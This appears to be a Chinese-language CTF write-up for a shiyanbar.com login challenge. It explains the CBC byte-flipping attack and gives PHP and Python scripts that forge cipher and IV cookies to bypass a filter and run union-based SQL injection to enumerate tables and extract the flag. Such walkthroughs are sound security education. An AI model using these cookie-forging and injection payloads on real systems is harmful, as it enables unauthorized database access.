實驗吧-簡單的登入題——WriteUp再研究
前言
這個題目的難點就是在於對於CBC加密方式尤其是解密這部分要琢磨一番,讓我想起當年大學的時候信安三勇中的兩勇的課,一門密碼學,一門數學基礎,可怕之極。這個題網上writeup一大堆,但是在一些方面解釋的不是很詳細,對大神們已經說的很清楚的地方我就粗略帶過。
CBC解密以及位元組翻轉攻擊(cbc-byte-flipping-attack)
我主要以CBC字元翻轉 原理與實戰這篇文章為基礎,對其中一些細節做進一步解釋。
在繼續往下看之前,希望你先粗略讀一遍這篇文章。
我們主要關注一下解密過程。
- 對於第一個密文塊來說,使用密碼解密後的資料要與初始化向量IV做異或運算才能得到明文
- 對於第N個密文塊(N>1)來說,使用密碼解密後的資料要與第(N-1)個密文塊做異或運算才能得到明文
以CBC字元翻轉 原理與實戰這篇文章中的程式碼示例為基礎,我做了一點簡單的修改,將iv作為一個引數而不是預定義方式,方便我們後面使用,其他部分均未作改變:
<?php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt,$iv) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
mcrypt_generic_init($aes , MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}
define('MY_MAC_LEN', 40);
function encrypt($data,$iv) {
return aes($data, true,$iv);
}
function decrypt($data,$iv) {
$data = rtrim(aes($data, false,$iv), "\0");
return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}" ;
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v,"1234567891234567");
echo ord($enc[2]).PHP_EOL;
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc,"1234567891234567");
echo "Plaintext AFTER attack : $b\n";
?>
如果我們執行的話,輸出結果應該是這樣:
我們可以看到,6變成了7,且頭部出現了亂碼。
先研究下為什麼6變成了7。
第二個密文塊
首先,我們假設每一個塊(block)為8個bit:
事實上在本題中每個塊為128個bit,通過閱讀原始碼可以發現使用的是aes-128-cbc,另外,我們執行的是位元組翻轉攻擊,所以在做題時基本操作單位是byte,這裡為了方便理解,我們微縮化了具體過程
塊 | 二進位制表示 | 備註 |
---|---|---|
明文塊#2 | 11000000 |
|
密文塊#1 | 01001100 |
|
密文塊#2 | 01000100 |
由明文塊#2與密文塊#1異或運算後用金鑰key加密而來 |
解密後的塊#2 | 10001100 |
由密文塊#2用金鑰解密而來,注意還不是完全的明文 |
異或運算後的明文塊#2 | 11000000 |
由解密後的塊#2與密文塊1異或運算後而來 |
假設我們現在需要將異或運算後的明文塊#2的值修改為11010000
,也就是改動其中第四個bit從0變為1,我們能夠操縱的是密文塊#1
我們知道
解密後的塊#2 XOR 密文塊#1 = 異或運算後的明文塊#2
即
10001100
XOR
01001100
=11000000
我們只需要讓密文塊#1變為01011100
,就可以讓異或運算後的明文塊#2變為11010000
即:
10001100
XOR
01011100
=11010000
如何讓密文塊#1變為我們想要的01011100
呢,你可以說直接操作bit就行了,right,但是當每個塊為128個bit時,顯得太麻煩了,我們在實際例子中操作的是byte。
回到程式碼中
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
這裡可以16個byte為一組進行分塊,因為在塊加密演算法中也是這樣分的。
BLOCK#1:a:2:{s:4:"name";
BLOCK#2:s:6:"sdsdsd";s:8
同樣的道理,如果我們修改BLOCK#1的密文的第3個位元組也就是數字2的值,就能夠操縱BLOCK#2中的第3個位元組的值。
按照程式碼中的例子,我們需要把數字6變成7。這裡相信很多人都有點迷惑了,怎麼辦?
我們先看一個公式:
設Cipher_Block_#1是BLOCK#1的密文,Cipher_Not_XOR_#2是BLOCK#2的密文解密後未執行異或運算的密文,那麼就有:
Cipher_Block_#1 XOR Cipher_Not_XOR_#2 = BLOCK#2
我們精確到我們需要改變的位元組:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] = BLOCK#2[2] = 6
進一步,我們有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6= 0
0 XOR 7 = 7
則有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6 XOR 7= 7
我們只需要令
Cipher_Block_After_Modified#1[2] = Cipher_Block_#1[2] XOR 6 XOR 7
就能夠操縱BLOCK#2[2]變為7
這就是這行程式碼做的事情:
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
上面的公式看似複雜,實則非常簡單,希望不要被嚇到。
亂碼怎麼辦?
這就涉及到第一個密文塊,我們為了修改第二個密文塊解密出的內容,必須修改第一個密文塊,第一個密文塊要使它不是亂碼,就要修改初始化向量IV,使得異或運算後得到正常的值,事實上和上面的原理一致。
現在我們需要認識到,由於密文塊1被修改,導致使用key解密後未執行異或運算前的密文也受到影響,我們設為Cipher_Not_XOR_Wrong_#1,同樣,對於解密出的亂碼明文我們設為BLOCK_Wrong_#1,我們需要讓解密出的明文是正常可讀的也就是BLOCK#1:
則有公式:
IV XOR Cipher_Not_XOR_Wrong_#1 = BLOCK_Wrong_#1
這裡我們不能像上面一樣,只修改IV的第二個位元組,因為整個密文塊1已經被我們改動了一個位元組,會導致解密結果不僅限於一個位元組,因此我們跳過精確到位元組的公式,直接有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1= 0
0 XOR BLOCK#1 = BLOCK#1
則有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1 XOR BLOCK#1 =BLOCK#1
我們只需要修改IV,令其為:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
就能操縱第一個被修改後的密文塊解密出正常的明文。我們修改示例程式碼,在結尾插入如下程式碼:
$iv="1234567891234567";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($b[$i]) ^ ord($iv[$i]) ^ ord($v[$i]));
}
$c = array();
$c = @decrypt($enc,$iv);
echo "Plaintext Third attack : $c\n";
?>
最終的執行結果為:
很不錯,正確解密。
回到題目中
首先,我們通過閱讀原始碼得知,是過濾了#的,那麼,我們先嚐試用位元組翻轉攻擊使用#註釋掉limit $id,0
中的,0
。
Step1
傳送如下資料包:
再簡單不過了,就只有一個id=12。伺服器返回了iv和cipher。在原始碼中我們發現:
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
OK,我們自己來序列化一下看長什麼樣子:
<?php
$id="12"
$info= array('id'=>$id);
echo serialize($info);
?>
執行結果為:
a:1:{s:2:"id";s:2:"12";}
Step2
16個byte為一組,進行分組:
BLOCK#1:a:1:{s:2:"id";s:
BLOCK#2:2:"12";}
我們先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密後結果為2:"1#";}
,這樣就能夠使用#
註釋掉,0
了。
<?php
$cipher="%2FccfSv1qyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D";
$cipher=urldecode($cipher);
$cipher=base64_decode($cipher);
$cipher[4]=chr(ord($cipher[4])^ord('2')^ord('#'));
$cipher=base64_encode($cipher);
$cipher=urlencode($cipher);
echo "$cipher\n";
?>
得到cipher為:
%2FccfSuxqyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D
使用這個cipher的值,iv不變,post資料包:
伺服器返回的結果很明白,無法正常反序列化,因為我們的密文塊1被修改,導致明文塊1亂碼。
Step3
現在我們知道了亂碼明文的base64值,以及原本正常的明文值,依據上面的公式:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
修改IV即可:
<?php
$iv = "6VFp%2BGNnuJHeIaQ58jWHaA%3D%3D";
$iv = urldecode($iv);
$iv = base64_decode($iv);
$block_wrong="8GmiVmSsfvsAKVpeudcNezI6IjEjIjt9";
$block_wrong=base64_decode($block_wrong);
$block_right="a:1:{s:2:\"id\";s:";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i]));
}
$iv=base64_encode($iv);
$iv=urlencode($iv);
echo "$iv\n";
?>
輸出結果為:
eAL6lHy4%2FFjkKpcDadn5KQ%3D%3D
使用這個iv替換資料包中的iv,再次重放:
注入成功。
獲取FLAG
剩下的都是相同的操作。網上的python指令碼寫的有各種各樣錯誤,也有些地方沒有說清楚,下面放出我的指令碼:
import requests
import re
from base64 import *
from urllib import quote,unquote
url="http://ctf5.shiyanbar.com/web/jiandan/index.php"
def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):
payload = {"id":payload}
r=requests.post(url,data=payload)
iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
cipher=unquote(cipher)
cipher=b64decode(cipher)
cipher_list=list(cipher)
cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
cipher_new=''.join(cipher_list)
cipher_new=b64encode(cipher_new)
cipher_new=quote(cipher_new)
cookie = {'iv':iv,'cipher':cipher_new}
r=requests.post(url,cookies=cookie)
content = r.content
plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]
plain=b64decode(plain_base64)
first_block_plain="a:1:{s:2:\"id\";s:"
iv=unquote(iv)
iv=b64decode(iv)
iv_list=list(iv)
for i in range(16):
iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))
iv_new=''.join(iv_list)
iv_new=b64encode(iv_new)
iv_new=quote(iv_new)
cookie = {'iv':iv_new,'cipher':cipher_new}
r=requests.post(url,cookies=cookie)
return r.content
def get_columns_count():
table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for i in range(len(table_name)):
payload="(select 1)a"
if i==0:
payload = "0 2nion select * from("+payload+");"+chr(0);
content=find_flag(payload,6,'2','u')
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:
print "table has 1 column and response position is 1"
return payload
else:
print "table does not have %d columns" % (i+1)
continue
for t in range(i):
payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
payload = "0 2nion select * from("+payload+");"+chr(0);
content=find_flag(payload,6,'2','u')
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:
print "table has %d column and response position is %s" % (i+1,resp[0][1])
return payload
else:
print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')
get_columns_count
這個函式的目的是為了判斷Union中select的次數,也就是說需要暴力破解處you_want表中的欄位列數量,網上直接給出了結果是3個,我簡單寫了個函式去破解
6 or 7?
可以看到,有些payload中需要翻轉的位元組索引是6,有的是7,這主要是因為php序列化後,會在key和value中間加入一個長度值,如果payload太長,這個值就會變為3位,那麼索引就是7,如果這個長度值是2位,那麼索引就是6
相關推薦
實驗吧-簡單的登入題——WriteUp再研究
前言 這個題目的難點就是在於對於CBC加密方式尤其是解密這部分要琢磨一番,讓我想起當年大學的時候信安三勇中的兩勇的課,一門密碼學,一門數學基礎,可怕之極。這個題網上writeup一大堆,但是在一些方面解釋的不是很詳細,對大神們已經說的很清楚的地方我就粗略帶過。
實驗吧 簡單的登入題 之[ CBC翻轉攻擊 ] 詳解
解題連結: http://ctf5.shiyanbar.com/web/jiandan/index.php 1)Burpsuite抓包 2)根據Tips,修改GET請求為test.php獲得原始碼。 3)程式碼審計 這個是實驗吧的原始碼: define("SECRET
實驗吧 後臺登入writeup
1)解題連結: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 2)php原始碼: <php? $password=$_POST['password']; $sql = "SELECT * FROM ad
實驗吧---簡單的登陸題(CBC位元組翻轉攻擊)
具體原理就不介紹了,百度上很多,直接放程式碼。因為用python3執行pcat大神的指令碼出現很多語法和編碼問題,所以打算用php指令碼重寫一遍攻擊過程。第一步:填寫0 2nion select * from((select 1)a join (select * from y
實驗吧ctf-web題:這個看起來有點簡單
從今天開始做實驗吧的CTF習題,爭取一天一道,一天一總結,做到不貪多,不糊弄,每天學習一點點,每天進步一點點。 今天做的是這個看起來有點簡單這個題,是一道SQL注入的題目。用了兩種方法,一種就是從url進行sql注入,一種是使用sqlmap工具。 預
union註入的幾道ctf題,實驗吧簡單的sql註入1,2,這個看起來有點簡單和bugku的成績單
需要 簡單 details 9.png lmap bug 輸入數據 php 接下來 這幾天在做CTF當中遇到了幾次sql註入都是union,寫篇博客記錄學習一下。 首先推薦一篇文章“https://blog.csdn.net/Litbai_zhan
實驗吧編程題找素數
prime 實驗 app clas pre code print urn list python實現找素數 原題目:設一個等差數列,首元素為367,公差為186, 現在要求找出屬於該等差數列中的第151個素數並輸出。 代碼: 1 def prime(a): 2
實驗吧編程題:字典
replace cti 分鐘 nbsp python line open pytho ict python編程實現 原題:包含ctf的單詞的總字符有多少? 代碼: 1 list = [] 2 for line in open(‘dictionary/dictionary.
實驗吧編程題:百米
-c 第一次用 列表 color entry 網頁 www php -1 第一次用python寫關於表單自動提交的程序,不是特別簡練 題目是這樣的: 經過觀察,只有數字是變動的,運算符是不變的,這就容易很多了 思路: 抓取網頁內容 通過正則表達式提取數字內容 通過特定的
實驗吧編程題:雙基回文數
。。 進位 return for str print == 兩個 至少 原題: 計算大於正整數1600000的最小雙基回文數 格式:CTF{ } 雙基回文數:如果一個正整數n至少在兩個不同的進位制b1和b2下都是回文數(2<=b1,b2<=10),則稱n 是雙基
實驗吧編程題:Hashkill
island pen log lan iges col lag 下劃線 spa 原題:6ac66ed89ef9654cf25eb88c21f4ecd0是flag的MD5碼,(格式為ctf{XXX_XXXXXXXXXXX_XXXXX})由一個0-1000的數字,下劃線,紐約的
實驗吧逆向catalyst-system Writeup
代碼 推出 lan pass 註意 gin username 種子 loading 下載之後查看知道為ELF文件,linux中執行之後發現很慢; 拖入ida中查看發現有循環調用 sleep 函數: 這是已經改過了,edit -> patch p
實驗吧 簡單的SQL注入1
解題連結: http://ctf5.shiyanbar.com/423/web/ 解題思路:一, 輸入1,不報錯;輸入1',報錯;輸入1'',不報錯。 二 , 輸入1 and 1=1,返回1 1=1,可知,and被過濾了。 三, &n
實驗吧 簡單的SQL註入1
inf ble lag nba 實驗 .sh 關鍵詞 報錯 union 解題鏈接: http://ctf5.shiyanbar.com/423/web/ 解題思路:一, 輸入1,不報錯;輸入1‘,報錯;輸入1‘‘,不報錯。 二 , 輸入1 and 1=1,返回1
實驗吧 | 簡單的sql注入之3
模糊測試結果: 1)查詢成功返回 Hello ,查詢失敗無回顯。 2)查詢id = 1 ,2 ,3均有回顯。 2)再看一下現在在哪個庫裡面吧! payload3 = http://ctf5.shiyanbar.com/web/index_3.php?id=0
實驗吧CTF刷題記錄(web篇)
5.程式邏輯問題 繞過 if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die
實驗吧CTF刷題記錄(web篇二)
8.上傳繞過 直接上傳.php會被攔截。嘗試上傳圖片馬,能上傳但不符合題目要求。 嘗試bp抓包改字尾名無果,並非在客戶端javascript驗證。 嘗試截斷路徑繞過,上傳1.jpg檔案,bp抓包,路徑upload後新增1.php空格,將hex中空格20改為00,forw
實驗吧WP(web部分)【簡單的登入題,後臺登入,加了料的報錯注入,認真一點,你真的會PHP嗎?】
一. 簡單的登入題這道題一點也不簡單,用到cbc位元組翻轉攻擊等技術,先跳過這題,想了解可看這裡。二. 後臺登入http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php這道題給了一個登入框,第一反應是sql注入,提交了一個1上去後發現
實驗吧web題(26/26)全writeup!超詳細:)
替換 current repl tex 括號 註入 重定向 urn 其他 #簡單的SQL註入 http://www.shiyanbar.com/ctf/1875 1)試著在?id=1,沒有錯誤 2)試著?id=1‘,出錯了,有回顯,說明有註入點: You have an
實驗吧ctf題庫:這個看起來有點簡單!
這是一道十分基礎的web題目,因為我也是剛剛接觸ctf,記錄一下第一道題的解題過程,算是自己的一個回顧吧,同時也給一些想要入門的朋友一點點微弱的參考吧。一、sqlmap的安裝 在windows下安裝sqlmap需要先下載適用windows的sqlma